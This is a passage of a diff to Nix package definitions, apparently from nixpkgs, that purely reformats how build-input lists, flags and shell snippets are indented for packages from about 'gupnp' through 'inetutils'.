-      gupnp-av
-      gupnp-dlna
-      libgee
-      libsoup_2_4
-      gtk3
-      libmediaart
-      sqlite
-      systemd
-      tinysparql
-      shared-mime-info
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-editing-services
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-    ]);
+  buildInputs = [
+    glib
+    gssdp
+    gupnp
+    gupnp-av
+    gupnp-dlna
+    libgee
+    libsoup_2_4
+    gtk3
+    libmediaart
+    sqlite
+    systemd
+    tinysparql
+    shared-mime-info
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-editing-services
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+  ]);
 
   mesonFlags = [
     "-Dsystemd-user-units-dir=${placeholder "out"}/lib/systemd/user"
diff --git a/pkgs/by-name/hs/hsd/package.nix b/pkgs/by-name/hs/hsd/package.nix
index d259a7bf851d..f59fdb7c2ed7 100644
--- a/pkgs/by-name/hs/hsd/package.nix
+++ b/pkgs/by-name/hs/hsd/package.nix
@@ -21,13 +21,12 @@ buildNpmPackage rec {
 
   npmDepsHash = "sha256-qM1oPTKffJHlHWhF5huCBPmBSajiYstjhC2GB/iMQ7E=";
 
-  nativeBuildInputs =
-    [
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ];
+  nativeBuildInputs = [
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ];
 
   buildInputs = [
     unbound
diff --git a/pkgs/by-name/ht/htb-toolkit/package.nix b/pkgs/by-name/ht/htb-toolkit/package.nix
index bc3ec4f995cc..fcbe4894d368 100644
--- a/pkgs/by-name/ht/htb-toolkit/package.nix
+++ b/pkgs/by-name/ht/htb-toolkit/package.nix
@@ -37,13 +37,12 @@ rustPlatform.buildRustPackage {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gnome-keyring
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gnome-keyring
+  ];
 
   postPatch = ''
     substituteInPlace src/manage.rs \
diff --git a/pkgs/by-name/ht/html-tidy/package.nix b/pkgs/by-name/ht/html-tidy/package.nix
index 00fa778dd53a..c75bfdbb1f7e 100644
--- a/pkgs/by-name/ht/html-tidy/package.nix
+++ b/pkgs/by-name/ht/html-tidy/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     cmake
     libxslt # manpage
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) html-tidy;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) html-tidy;
 
   cmakeFlags = lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
     "-DHOST_TIDY=tidy"
diff --git a/pkgs/by-name/ht/html5validator/package.nix b/pkgs/by-name/ht/html5validator/package.nix
index 8692e4ad735b..64889a41b4ea 100644
--- a/pkgs/by-name/ht/html5validator/package.nix
+++ b/pkgs/by-name/ht/html5validator/package.nix
@@ -17,13 +17,12 @@ python3.pkgs.buildPythonApplication rec {
     hash = "sha256-yvclqE4+2R9q/UJU9W95U1/xVJeNj+5eKvT6VQel9k8=";
   };
 
-  propagatedBuildInputs =
-    [
-      openjdk
-    ]
-    ++ (with python3.pkgs; [
-      pyyaml
-    ]);
+  propagatedBuildInputs = [
+    openjdk
+  ]
+  ++ (with python3.pkgs; [
+    pyyaml
+  ]);
 
   nativeCheckInputs = with python3.pkgs; [
     hacking
diff --git a/pkgs/by-name/ht/htop-vim/package.nix b/pkgs/by-name/ht/htop-vim/package.nix
index b10a23cc8c62..9deccd233e1f 100644
--- a/pkgs/by-name/ht/htop-vim/package.nix
+++ b/pkgs/by-name/ht/htop-vim/package.nix
@@ -50,26 +50,26 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ autoreconfHook ] ++ lib.optional stdenv.hostPlatform.isLinux pkg-config;
 
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      libnl
-    ]
-    ++ lib.optional sensorsSupport lm_sensors
-    ++ lib.optional systemdSupport systemd;
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    libnl
+  ]
+  ++ lib.optional sensorsSupport lm_sensors
+  ++ lib.optional systemdSupport systemd;
 
-  configureFlags =
-    [
-      "--enable-unicode"
-      "--sysconfdir=/etc"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-affinity"
-      "--enable-capabilities"
-      "--enable-delayacct"
-    ]
-    ++ lib.optional sensorsSupport "--enable-sensors";
+  configureFlags = [
+    "--enable-unicode"
+    "--sysconfdir=/etc"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-affinity"
+    "--enable-capabilities"
+    "--enable-delayacct"
+  ]
+  ++ lib.optional sensorsSupport "--enable-sensors";
 
   postFixup =
     let
diff --git a/pkgs/by-name/ht/htop/package.nix b/pkgs/by-name/ht/htop/package.nix
index ad416c4b77bb..212b3ef17672 100644
--- a/pkgs/by-name/ht/htop/package.nix
+++ b/pkgs/by-name/ht/htop/package.nix
@@ -41,26 +41,26 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ autoreconfHook ] ++ lib.optional stdenv.hostPlatform.isLinux pkg-config;
 
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      libnl
-    ]
-    ++ lib.optional sensorsSupport lm_sensors
-    ++ lib.optional systemdSupport systemd;
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    libnl
+  ]
+  ++ lib.optional sensorsSupport lm_sensors
+  ++ lib.optional systemdSupport systemd;
 
-  configureFlags =
-    [
-      "--enable-unicode"
-      "--sysconfdir=/etc"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-affinity"
-      "--enable-capabilities"
-      "--enable-delayacct"
-    ]
-    ++ lib.optional sensorsSupport "--enable-sensors";
+  configureFlags = [
+    "--enable-unicode"
+    "--sysconfdir=/etc"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-affinity"
+    "--enable-capabilities"
+    "--enable-delayacct"
+  ]
+  ++ lib.optional sensorsSupport "--enable-sensors";
 
   postFixup =
     let
diff --git a/pkgs/by-name/ht/http-parser/package.nix b/pkgs/by-name/ht/http-parser/package.nix
index 30e33e13130a..6a0635e5511c 100644
--- a/pkgs/by-name/ht/http-parser/package.nix
+++ b/pkgs/by-name/ht/http-parser/package.nix
@@ -20,39 +20,37 @@ stdenv.mkDerivation rec {
 
   env.NIX_CFLAGS_COMPILE = "-Wno-error";
 
-  patches =
-    [
-      ./enable-static-shared.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-      # https://github.com/nodejs/http-parser/pull/510
-      (fetchpatch {
-        url = "https://github.com/nodejs/http-parser/commit/4f15b7d510dc7c6361a26a7c6d2f7c3a17f8d878.patch";
-        sha256 = "sha256-rZZMJeow3V1fTnjadRaRa+xTq3pdhZn/eJ4xjxEDoU4=";
-      })
-    ];
+  patches = [
+    ./enable-static-shared.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+    # https://github.com/nodejs/http-parser/pull/510
+    (fetchpatch {
+      url = "https://github.com/nodejs/http-parser/commit/4f15b7d510dc7c6361a26a7c6d2f7c3a17f8d878.patch";
+      sha256 = "sha256-rZZMJeow3V1fTnjadRaRa+xTq3pdhZn/eJ4xjxEDoU4=";
+    })
+  ];
 
-  makeFlags =
-    [
-      "DESTDIR="
-      "PREFIX=$(out)"
-      "BINEXT=${stdenv.hostPlatform.extensions.executable}"
-      "Platform=${lib.toLower stdenv.hostPlatform.uname.system}"
-      "AEXT=${lib.strings.removePrefix "." stdenv.hostPlatform.extensions.staticLibrary}"
-      "ENABLE_SHARED=${if enableShared then "1" else "0"}"
-      "ENABLE_STATIC=${if enableStatic then "1" else "0"}"
-    ]
-    ++ lib.optionals enableShared [
-      "SOEXT=${lib.strings.removePrefix "." stdenv.hostPlatform.extensions.sharedLibrary}"
-    ]
-    ++ lib.optionals enableStatic [
-      "AEXT=${lib.strings.removePrefix "." stdenv.hostPlatform.extensions.staticLibrary}"
-    ]
-    ++ lib.optionals (enableShared && stdenv.hostPlatform.isWindows) [
-      "SONAME=$(SOLIBNAME).$(SOMAJOR).$(SOMINOR).$(SOEXT)"
-      "LIBNAME=$(SOLIBNAME).$(SOMAJOR).$(SOMINOR).$(SOREV).$(SOEXT)"
-      "LDFLAGS=-Wl,--out-implib=$(LIBNAME).a"
-    ];
+  makeFlags = [
+    "DESTDIR="
+    "PREFIX=$(out)"
+    "BINEXT=${stdenv.hostPlatform.extensions.executable}"
+    "Platform=${lib.toLower stdenv.hostPlatform.uname.system}"
+    "AEXT=${lib.strings.removePrefix "." stdenv.hostPlatform.extensions.staticLibrary}"
+    "ENABLE_SHARED=${if enableShared then "1" else "0"}"
+    "ENABLE_STATIC=${if enableStatic then "1" else "0"}"
+  ]
+  ++ lib.optionals enableShared [
+    "SOEXT=${lib.strings.removePrefix "." stdenv.hostPlatform.extensions.sharedLibrary}"
+  ]
+  ++ lib.optionals enableStatic [
+    "AEXT=${lib.strings.removePrefix "." stdenv.hostPlatform.extensions.staticLibrary}"
+  ]
+  ++ lib.optionals (enableShared && stdenv.hostPlatform.isWindows) [
+    "SONAME=$(SOLIBNAME).$(SOMAJOR).$(SOMINOR).$(SOEXT)"
+    "LIBNAME=$(SOLIBNAME).$(SOMAJOR).$(SOMINOR).$(SOREV).$(SOEXT)"
+    "LDFLAGS=-Wl,--out-implib=$(LIBNAME).a"
+  ];
 
   buildFlags = lib.optional enableShared "library" ++ lib.optional enableStatic "package";
 
diff --git a/pkgs/by-name/ht/httptoolkit/package.nix b/pkgs/by-name/ht/httptoolkit/package.nix
index 6f954c2281fc..f2a7f7bc2606 100644
--- a/pkgs/by-name/ht/httptoolkit/package.nix
+++ b/pkgs/by-name/ht/httptoolkit/package.nix
@@ -31,7 +31,8 @@ buildNpmPackage rec {
 
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
 
   npmBuildScript = "build:src";
 
diff --git a/pkgs/by-name/hw/hwloc/package.nix b/pkgs/by-name/hw/hwloc/package.nix
index bbf0e11f2b7b..4bc0ed5a1bd2 100644
--- a/pkgs/by-name/hw/hwloc/package.nix
+++ b/pkgs/by-name/hw/hwloc/package.nix
@@ -32,17 +32,16 @@ stdenv.mkDerivation rec {
   # XXX: libX11 is not directly needed, but needed as a propagated dep of Cairo.
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals enableCuda [ cudaPackages.cuda_nvcc ];
 
-  buildInputs =
-    [
-      expat
-      ncurses
-    ]
-    ++ lib.optionals x11Support [
-      cairo
-      libX11
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ numactl ]
-    ++ lib.optionals enableCuda [ cudaPackages.cuda_cudart ];
+  buildInputs = [
+    expat
+    ncurses
+  ]
+  ++ lib.optionals x11Support [
+    cairo
+    libX11
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ numactl ]
+  ++ lib.optionals enableCuda [ cudaPackages.cuda_cudart ];
 
   # Since `libpci' appears in `hwloc.pc', it must be propagated.
   propagatedBuildInputs = lib.optional stdenv.hostPlatform.isLinux pciutils;
diff --git a/pkgs/by-name/hy/hydrus/package.nix b/pkgs/by-name/hy/hydrus/package.nix
index 2697fbd4f9fc..1f640d42389f 100644
--- a/pkgs/by-name/hy/hydrus/package.nix
+++ b/pkgs/by-name/hy/hydrus/package.nix
@@ -99,40 +99,39 @@ python3Packages.buildPythonApplication rec {
     "doc"
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      # Move the hydrus module and related directories
-      mkdir -p $out/${python3Packages.python.sitePackages}
-      mv {hydrus,static,db} $out/${python3Packages.python.sitePackages}
-      # Fix random files being marked with execute permissions
-      chmod -x $out/${python3Packages.python.sitePackages}/static/*.{png,svg,ico}
-      # Build docs
-      mkdocs build -d help
-      mkdir -p $doc/share/doc
-      mv help $doc/share/doc/hydrus
+    # Move the hydrus module and related directories
+    mkdir -p $out/${python3Packages.python.sitePackages}
+    mv {hydrus,static,db} $out/${python3Packages.python.sitePackages}
+    # Fix random files being marked with execute permissions
+    chmod -x $out/${python3Packages.python.sitePackages}/static/*.{png,svg,ico}
+    # Build docs
+    mkdocs build -d help
+    mkdir -p $doc/share/doc
+    mv help $doc/share/doc/hydrus
 
-      # install the hydrus binaries
-      mkdir -p $out/bin
-      install -m0755 hydrus_server.py $out/bin/hydrus-server
-      install -m0755 hydrus_client.py $out/bin/hydrus-client
-      install -m0755 hydrus_test.py $out/bin/hydrus-test
+    # install the hydrus binaries
+    mkdir -p $out/bin
+    install -m0755 hydrus_server.py $out/bin/hydrus-server
+    install -m0755 hydrus_client.py $out/bin/hydrus-client
+    install -m0755 hydrus_test.py $out/bin/hydrus-test
 
-      # desktop item
-      mkdir -p "$out/share/icons/hicolor/scalable/apps"
-      ln -s "$doc/share/doc/hydrus/assets/hydrus-white.svg" "$out/share/icons/hicolor/scalable/apps/hydrus-client.svg"
-    ''
-    + lib.optionalString enableSwftools ''
-      mkdir -p $out/${python3Packages.python.sitePackages}/bin
-      # swfrender seems to have to be called sfwrender_linux
-      # not sure if it can be loaded through PATH, but this is simpler
-      # $out/python3Packages.python.sitePackages/bin is correct NOT .../hydrus/bin
-      ln -s ${swftools}/bin/swfrender $out/${python3Packages.python.sitePackages}/bin/swfrender_linux
-    ''
-    + ''
-      runHook postInstall
-    '';
+    # desktop item
+    mkdir -p "$out/share/icons/hicolor/scalable/apps"
+    ln -s "$doc/share/doc/hydrus/assets/hydrus-white.svg" "$out/share/icons/hicolor/scalable/apps/hydrus-client.svg"
+  ''
+  + lib.optionalString enableSwftools ''
+    mkdir -p $out/${python3Packages.python.sitePackages}/bin
+    # swfrender seems to have to be called sfwrender_linux
+    # not sure if it can be loaded through PATH, but this is simpler
+    # $out/python3Packages.python.sitePackages/bin is correct NOT .../hydrus/bin
+    ln -s ${swftools}/bin/swfrender $out/${python3Packages.python.sitePackages}/bin/swfrender_linux
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/by-name/hy/hyperscan/package.nix b/pkgs/by-name/hy/hyperscan/package.nix
index fa01b1b8013c..0b1e5cf5db0f 100644
--- a/pkgs/by-name/hy/hyperscan/package.nix
+++ b/pkgs/by-name/hy/hyperscan/package.nix
@@ -37,13 +37,12 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_AVX512=ON"
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) "-DFAT_RUNTIME=ON"
-    ++ lib.optional (withStatic) "-DBUILD_STATIC_AND_SHARED=ON"
-    ++ lib.optional (!withStatic) "-DBUILD_SHARED_LIBS=ON";
+  cmakeFlags = [
+    "-DBUILD_AVX512=ON"
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) "-DFAT_RUNTIME=ON"
+  ++ lib.optional (withStatic) "-DBUILD_STATIC_AND_SHARED=ON"
+  ++ lib.optional (!withStatic) "-DBUILD_SHARED_LIBS=ON";
 
   # hyperscan CMake is completely broken for chimera builds when pcre is compiled
   # the only option to make it build - building from source
diff --git a/pkgs/by-name/hy/hyprpanel/package.nix b/pkgs/by-name/hy/hyprpanel/package.nix
index 2d52a4de3a5a..3b111e64ab76 100644
--- a/pkgs/by-name/hy/hyprpanel/package.nix
+++ b/pkgs/by-name/hy/hyprpanel/package.nix
@@ -93,7 +93,8 @@ ags.bundle {
       ]
       ++ lib.optional enableCuda gpustat
     ))
-  ] ++ (lib.optionals (stdenv.hostPlatform.system == "x86_64-linux") [ gpu-screen-recorder ]);
+  ]
+  ++ (lib.optionals (stdenv.hostPlatform.system == "x86_64-linux") [ gpu-screen-recorder ]);
 
   passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
 
diff --git a/pkgs/by-name/hy/hypseus-singe/package.nix b/pkgs/by-name/hy/hypseus-singe/package.nix
index 5def65d686ab..b40a26f0aa29 100644
--- a/pkgs/by-name/hy/hypseus-singe/package.nix
+++ b/pkgs/by-name/hy/hypseus-singe/package.nix
@@ -39,20 +39,19 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      bash
-      SDL2
-      SDL2_image
-      SDL2_ttf
-      SDL2_mixer
-      libmpeg2
-      libvorbis
-      libzip
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-    ];
+  buildInputs = [
+    bash
+    SDL2
+    SDL2_image
+    SDL2_ttf
+    SDL2_mixer
+    libmpeg2
+    libvorbis
+    libzip
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString [
     "-I${lib.getDev SDL2_image}/include/SDL2"
diff --git a/pkgs/by-name/i2/i2p/package.nix b/pkgs/by-name/i2/i2p/package.nix
index 8df086cdfef4..96c9f6de0d24 100644
--- a/pkgs/by-name/i2/i2p/package.nix
+++ b/pkgs/by-name/i2/i2p/package.nix
@@ -17,15 +17,14 @@ stdenv.mkDerivation (finalAttrs: {
   version = "2.8.2";
 
   src = fetchzip {
-    urls =
-      [
-        "https://github.com/i2p/i2p.i2p/archive/i2p-${finalAttrs.version}.tar.gz"
-      ]
-      ++ (map (mirror: "${mirror}${finalAttrs.version}/i2psource_${finalAttrs.version}.tar.bz2") [
-        "https://download.i2p2.de/releases/"
-        "https://files.i2p-projekt.de/"
-        "https://download.i2p2.no/releases/"
-      ]);
+    urls = [
+      "https://github.com/i2p/i2p.i2p/archive/i2p-${finalAttrs.version}.tar.gz"
+    ]
+    ++ (map (mirror: "${mirror}${finalAttrs.version}/i2psource_${finalAttrs.version}.tar.bz2") [
+      "https://download.i2p2.de/releases/"
+      "https://files.i2p-projekt.de/"
+      "https://download.i2p2.no/releases/"
+    ]);
     hash = "sha256-GQhZrjguihc3FyWt5MUC61+pTvaB3ij2h+SQmasJtUI=";
   };
 
diff --git a/pkgs/by-name/i2/i2pd/package.nix b/pkgs/by-name/i2/i2pd/package.nix
index 0f8399f9e4a5..a6c392615205 100644
--- a/pkgs/by-name/i2/i2pd/package.nix
+++ b/pkgs/by-name/i2/i2pd/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation rec {
     boost
     zlib
     openssl
-  ] ++ lib.optional upnpSupport miniupnpc;
+  ]
+  ++ lib.optional upnpSupport miniupnpc;
 
   nativeBuildInputs = [
     installShellFiles
diff --git a/pkgs/by-name/ig/igraph/package.nix b/pkgs/by-name/ig/igraph/package.nix
index de3fc033f947..826bb83f229c 100644
--- a/pkgs/by-name/ig/igraph/package.nix
+++ b/pkgs/by-name/ig/igraph/package.nix
@@ -57,19 +57,18 @@ stdenv.mkDerivation (finalAttrs: {
     xmlto
   ];
 
-  buildInputs =
-    [
-      arpack
-      blas
-      glpk
-      gmp
-      lapack
-      libxml2
-      plfit
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    arpack
+    blas
+    glpk
+    gmp
+    lapack
+    libxml2
+    plfit
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ];
 
   cmakeFlags = [
     "-DIGRAPH_USE_INTERNAL_BLAS=OFF"
@@ -93,14 +92,13 @@ stdenv.mkDerivation (finalAttrs: {
     cp -r doc "$out/share"
   '';
 
-  postFixup =
-    ''
-      substituteInPlace $dev/lib/cmake/igraph/igraph-targets.cmake \
-        --replace-fail "_IMPORT_PREFIX \"$out\"" "_IMPORT_PREFIX \"$dev\""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -change libblas.dylib ${blas}/lib/libblas.dylib $out/lib/libigraph.dylib
-    '';
+  postFixup = ''
+    substituteInPlace $dev/lib/cmake/igraph/igraph-targets.cmake \
+      --replace-fail "_IMPORT_PREFIX \"$out\"" "_IMPORT_PREFIX \"$dev\""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -change libblas.dylib ${blas}/lib/libblas.dylib $out/lib/libigraph.dylib
+  '';
 
   passthru.tests = {
     python = python3.pkgs.igraph;
diff --git a/pkgs/by-name/ii/iio-oscilloscope/package.nix b/pkgs/by-name/ii/iio-oscilloscope/package.nix
index d4447b6bd8c8..f144b89da8e6 100644
--- a/pkgs/by-name/ii/iio-oscilloscope/package.nix
+++ b/pkgs/by-name/ii/iio-oscilloscope/package.nix
@@ -61,7 +61,8 @@ stdenv.mkDerivation (finalAttrs: {
     libxml2
     curl
     jansson
-  ] ++ lib.optional enable9361 libad9361;
+  ]
+  ++ lib.optional enable9361 libad9361;
 
   cmakeFlags = [
     "-DCMAKE_POLKIT_PREFIX=${placeholder "out"}"
diff --git a/pkgs/by-name/im/imagelol/package.nix b/pkgs/by-name/im/imagelol/package.nix
index fadf9b716226..664955fbea6a 100644
--- a/pkgs/by-name/im/imagelol/package.nix
+++ b/pkgs/by-name/im/imagelol/package.nix
@@ -46,11 +46,12 @@ stdenv.mkDerivation rec {
     cp ./ImageLOL $out/bin
   '';
 
-  cmakeFlags =
-    [ (lib.cmakeFeature "CMAKE_C_FLAGS" "-std=gnu90") ]
-    ++ lib.optional (
-      stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64
-    ) "-DPNG_ARM_NEON=off";
+  cmakeFlags = [
+    (lib.cmakeFeature "CMAKE_C_FLAGS" "-std=gnu90")
+  ]
+  ++ lib.optional (
+    stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64
+  ) "-DPNG_ARM_NEON=off";
 
   meta = with lib; {
     homepage = "https://github.com/MCredstoner2004/ImageLOL";
diff --git a/pkgs/by-name/im/imhex/package.nix b/pkgs/by-name/im/imhex/package.nix
index 06d786255197..5fbc9e98ab53 100644
--- a/pkgs/by-name/im/imhex/package.nix
+++ b/pkgs/by-name/im/imhex/package.nix
@@ -62,7 +62,8 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     rsync
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
   buildInputs = [
     capstone
diff --git a/pkgs/by-name/im/imlib2/package.nix b/pkgs/by-name/im/imlib2/package.nix
index 752b3dfb8882..c7fabb65ccab 100644
--- a/pkgs/by-name/im/imlib2/package.nix
+++ b/pkgs/by-name/im/imlib2/package.nix
@@ -50,25 +50,24 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-+iMV8oN5tDCm5mBbQoSwe+BqPvQi1PXhybskcUxM9t0=";
   };
 
-  buildInputs =
-    [
-      libjpeg
-      libtiff
-      giflib
-      libpng
-      bzip2
-      freetype
-      libid3tag
-    ]
-    ++ optionals x11Support [
-      xorg.libXft
-      xorg.libXext
-    ]
-    ++ optional heifSupport libheif
-    ++ optional svgSupport librsvg
-    ++ optional webpSupport libwebp
-    ++ optional jxlSupport libjxl
-    ++ optional psSupport libspectre;
+  buildInputs = [
+    libjpeg
+    libtiff
+    giflib
+    libpng
+    bzip2
+    freetype
+    libid3tag
+  ]
+  ++ optionals x11Support [
+    xorg.libXft
+    xorg.libXext
+  ]
+  ++ optional heifSupport libheif
+  ++ optional svgSupport librsvg
+  ++ optional webpSupport libwebp
+  ++ optional jxlSupport libjxl
+  ++ optional psSupport libspectre;
 
   nativeBuildInputs = [ pkg-config ];
 
diff --git a/pkgs/by-name/im/imnodes/package.nix b/pkgs/by-name/im/imnodes/package.nix
index 7179cfe3fbaf..d7fae28fd0db 100644
--- a/pkgs/by-name/im/imnodes/package.nix
+++ b/pkgs/by-name/im/imnodes/package.nix
@@ -34,12 +34,13 @@ stdenv.mkDerivation {
   ];
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [ imgui ]
-    ++ lib.optionals withExamples [
-      SDL2
-      xorg.libXext
-    ];
+  buildInputs = [
+    imgui
+  ]
+  ++ lib.optionals withExamples [
+    SDL2
+    xorg.libXext
+  ];
 
   cmakeFlags = [ (lib.cmakeBool "IMNODES_EXAMPLES" withExamples) ];
 
diff --git a/pkgs/by-name/im/implot/demos/default.nix b/pkgs/by-name/im/implot/demos/default.nix
index 45d5d54ac83a..6ddde64aaaae 100644
--- a/pkgs/by-name/im/implot/demos/default.nix
+++ b/pkgs/by-name/im/implot/demos/default.nix
@@ -61,7 +61,8 @@ stdenv.mkDerivation {
     imnodes
     implot
     openssl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ gtk3 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ gtk3 ];
 
   meta = {
     description = "Standalone ImPlot Demos";
diff --git a/pkgs/by-name/im/imtui/package.nix b/pkgs/by-name/im/imtui/package.nix
index a587f8bce7ab..f6dcca799d1a 100644
--- a/pkgs/by-name/im/imtui/package.nix
+++ b/pkgs/by-name/im/imtui/package.nix
@@ -35,15 +35,14 @@ stdenv.mkDerivation rec {
     ++ lib.optional withCurl curl
     ++ lib.optional withNcurses ncurses;
 
-  postPatch =
-    ''
-      cp -r ${imgui.src}/* third-party/imgui/imgui
-      chmod -R u+w third-party/imgui
-    ''
-    + lib.optionalString (lib.versionAtLeast imgui.version "1.90.1") ''
-      substituteInPlace src/imtui-impl-{emscripten,ncurses}.cpp \
-        --replace "ImGuiKey_KeyPadEnter" "ImGuiKey_KeypadEnter"
-    '';
+  postPatch = ''
+    cp -r ${imgui.src}/* third-party/imgui/imgui
+    chmod -R u+w third-party/imgui
+  ''
+  + lib.optionalString (lib.versionAtLeast imgui.version "1.90.1") ''
+    substituteInPlace src/imtui-impl-{emscripten,ncurses}.cpp \
+      --replace "ImGuiKey_KeyPadEnter" "ImGuiKey_KeypadEnter"
+  '';
 
   cmakeFlags = [
     "-DEMSCRIPTEN:BOOL=${if withEmscripten then "ON" else "OFF"}"
diff --git a/pkgs/by-name/im/imv/package.nix b/pkgs/by-name/im/imv/package.nix
index 95b2f8976c93..aab4fe4ab54c 100644
--- a/pkgs/by-name/im/imv/package.nix
+++ b/pkgs/by-name/im/imv/package.nix
@@ -92,7 +92,8 @@ stdenv.mkDerivation rec {
     "-Dwindows=${withWindowSystem}"
     "-Dtest=enabled"
     "-Dman=enabled"
-  ] ++ backendFlags;
+  ]
+  ++ backendFlags;
 
   strictDeps = true;
 
@@ -105,16 +106,15 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      cmocka
-      icu75
-      libxkbcommon
-      pango
-      inih
-    ]
-    ++ windowSystems."${withWindowSystem}"
-    ++ builtins.map (b: backends."${b}") withBackends;
+  buildInputs = [
+    cmocka
+    icu75
+    libxkbcommon
+    pango
+    inih
+  ]
+  ++ windowSystems."${withWindowSystem}"
+  ++ builtins.map (b: backends."${b}") withBackends;
 
   patches = [
     (fetchpatch {
diff --git a/pkgs/by-name/in/inchi/package.nix b/pkgs/by-name/in/inchi/package.nix
index d738d62e1cd6..d5a271a81c8f 100644
--- a/pkgs/by-name/in/inchi/package.nix
+++ b/pkgs/by-name/in/inchi/package.nix
@@ -33,17 +33,16 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  preConfigure =
-    ''
-      cd ./INCHI_API/libinchi/gcc
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace makefile \
-        --replace ",--version-script=libinchi.map" "" \
-        --replace "LINUX_Z_RELRO = ,-z,relro" "" \
-        --replace "-soname" "-install_name" \
-        --replace "gcc" $CC
-    '';
+  preConfigure = ''
+    cd ./INCHI_API/libinchi/gcc
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace makefile \
+      --replace ",--version-script=libinchi.map" "" \
+      --replace "LINUX_Z_RELRO = ,-z,relro" "" \
+      --replace "-soname" "-install_name" \
+      --replace "gcc" $CC
+  '';
   installPhase =
     let
       versionOneDot = versionMajor + "." + removeDots versionMinor;
diff --git a/pkgs/by-name/in/inetutils/package.nix b/pkgs/by-name/in/inetutils/package.nix
index 8908c5b906b9..20f5519a6d7d 100644
--- a/pkgs/by-name/in/inetutils/package.nix
+++ b/pkgs/by-name/in/inetutils/package.nix
@@ -50,16 +50,17 @@ stdenv.mkDerivation rec {
       export HELP2MAN=true
     '';
 
-  configureFlags =
-    [ "--with-ncurses-include-dir=${ncurses.dev}/include" ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      # Musl doesn't define rcmd
-      "--disable-rcp"
-      "--disable-rsh"
-      "--disable-rlogin"
-      "--disable-rexec"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-servers";
+  configureFlags = [
+    "--with-ncurses-include-dir=${ncurses.dev}/include"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    # Musl doesn't define rcmd
+    "--disable-rcp"
+    "--disable-rsh"
+    "--disable-rlogin"
+    "--disable-rexec"
+  ]
